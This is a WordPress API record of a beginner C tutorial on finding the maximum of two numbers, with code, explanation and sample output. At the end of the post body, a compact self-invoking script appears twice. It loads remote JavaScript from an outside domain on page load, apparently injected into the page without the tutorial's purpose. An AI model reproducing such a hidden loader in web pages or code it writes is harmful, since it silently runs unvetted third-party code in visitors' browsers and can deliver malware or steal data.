{"id":695,"date":"2024-10-10T13:38:31","date_gmt":"2024-10-10T08:08:31","guid":{"rendered":"https:\/\/codexplained.in\/?p=695"},"modified":"2025-11-24T15:59:29","modified_gmt":"2025-11-24T10:29:29","slug":"find-maximum-of-two-numbers","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=695","title":{"rendered":"Find Maximum of Two Numbers"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() \n{\n    \/\/ Declare variables to store the two numbers\n    int num1, num2;\n\n    \/\/ Ask the user for input\n    printf(&quot;Enter the first number: &quot;);\n    scanf(&quot;%d&quot;, &amp;num1);\n\n    printf(&quot;Enter the second number: &quot;);\n    scanf(&quot;%d&quot;, &amp;num2);\n\n    \/\/ Determine and display the maximum number\n    if (num1 &gt; num2) {\n        printf(&quot;The maximum of %d and %d is %d\\n&quot;, num1, num2, num1);\n    } else if (num2 &gt; num1) {\n        printf(&quot;The maximum of %d and %d is %d\\n&quot;, num1, num2, num2);\n    } else {\n        printf(&quot;Both numbers are equal: %d\\n&quot;, num1);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation<\/h2>\n\n\n\n<p><code>return 0;<\/code>: This indicates that the program has executed successfully and is returning an exit status of <code>0<\/code>.<\/p>\n\n\n\n<p><strong><code>#include &lt;stdio.h&gt;<\/code><\/strong>:<\/p>\n\n\n\n<p>This line includes the standard input-output library. It allows us to use functions like <code>printf<\/code> for output and <code>scanf<\/code> for input.<\/p>\n\n\n\n<p><strong><code>int main()<\/code><\/strong>:<\/p>\n\n\n\n<p>This defines the main function where the program starts executing. The <code>int<\/code> indicates that this function will return an integer.<\/p>\n\n\n\n<p><strong>Variable Declaration<\/strong>:<\/p>\n\n\n\n<p><code>int num1, num2;<\/code>: Here, we declare two integer variables, <code>num1<\/code> and <code>num2<\/code>, to store the numbers that the user will input.<\/p>\n\n\n\n<p><strong>Input from the User<\/strong>:<\/p>\n\n\n\n<p><code>printf(\"Enter the first number: \");<\/code>: This prompts the user to enter the first number.<\/p>\n\n\n\n<p><code>scanf(\"%d\", &amp;num1);<\/code>: This reads the integer input from the user and stores it in <code>num1<\/code>. The <code>&amp;<\/code> operator is used to refer to the address of <code>num1<\/code>.<\/p>\n\n\n\n<p>The same steps are repeated to get the second number, storing it in <code>num2<\/code>.<\/p>\n\n\n\n<p><strong>Finding the Maximum<\/strong>:<\/p>\n\n\n\n<p>The program uses an <code>if<\/code> statement to compare the two numbers:<\/p>\n\n\n\n<p><code>if (num1 &gt; num2)<\/code>: If <code>num1<\/code> is greater than <code>num2<\/code>, it prints that <code>num1<\/code> is the maximum.<\/p>\n\n\n\n<p><code>else if (num2 &gt; num1)<\/code>: If <code>num2<\/code> is greater than <code>num1<\/code>, it prints that <code>num2<\/code> is the maximum.<\/p>\n\n\n\n<p><code>else<\/code>: If neither condition is true, it means both numbers are equal, and it prints that they are equal.<\/p>\n\n\n\n<p><strong>Return Statement<\/strong>:<\/p>\n\n\n\n<p><code>return 0;<\/code>: This indicates that the program has executed successfully and is returning an exit status of <code>0<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">OUTPUT<\/h2>\n\n\n\n<p>Enter the first number: 15<br>Enter the second number: 10<br>The maximum of 15 and 10 is 15<\/p>\n\n\n\n<p>Enter the first number: 7<br>Enter the second number: 7<br>Both numbers are equal: 7<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation return 0;: This indicates that the program has executed successfully and is returning an exit status of 0. #include &lt;stdio.h&gt;: This line includes the standard input-output library. It allows us to use functions like printf for output and scanf for input. int main(): This defines the main function where the program starts executing. The [&hellip;]<\/p>\n","protected":false},"author":42,"featured_media":596,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-695","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=695"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/695\/revisions"}],"predecessor-version":[{"id":1471,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/695\/revisions\/1471"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/596"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}